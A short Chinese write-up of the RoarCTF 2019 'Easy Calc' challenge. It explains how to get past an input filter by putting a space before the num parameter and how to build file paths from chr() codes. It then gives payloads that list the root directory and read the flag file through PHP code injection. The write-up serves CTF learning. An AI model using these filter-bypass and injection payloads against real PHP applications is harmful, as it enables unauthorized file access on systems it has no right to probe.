[RoarCTF 2019]Easy Calc1

打开题目

查看源码,看到

看到源代码有 calc.php,构造url打开

看到php审计代码,

由于页面中无法上传num,则输入 num,在num前加入一个空格可以让num变得可以上传,而且在进行代码解析时,php会把前面的空格去除。

由于不能使用很多的字符,可以使用file_get_contents()函数,将ascii码转化为字符来绕过。

构造? num=var_dump(scandir(chr(47)))

scandair可以列出指定路径中的文件目录。

得到flag

复制代码
? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
相关推荐
AlickLbc17 小时前
RabbitMQ安装记录
分布式·rabbitmq
pursue.dreams17 小时前
Windows 安装 RabbitMQ 保姆级教程
windows·rabbitmq
切糕师学AI2 天前
RabbitMQ 是什么?
微服务·消息队列·rabbitmq
Anastasiozzzz2 天前
解决 RabbitMQ 的可靠性投递与消息重复消费问题思路
分布式·rabbitmq
Ronin3052 天前
订阅者模块
rabbitmq
fchampion3 天前
最终一致性
java·spring·rabbitmq·github·mvc
予枫的编程笔记4 天前
【Kafka基础篇】RabbitMQ、RocketMQ、Kafka怎么选?3种主流MQ核心差异实测解析
kafka·rabbitmq·rocketmq·分布式流处理·发布订阅模型·消息队列(mq)·点对点模型
Ronin3054 天前
连接管理模块和服务器模块
服务器·rabbitmq·网络通信·tcp连接
Jinkxs6 天前
RabbitMQ - 第一个 Hello World 程序:SpringBoot 版极简集成
spring boot·rabbitmq·java-rabbitmq
希忘auto6 天前
详解RabbitMQ高级特性之延迟队列
rabbitmq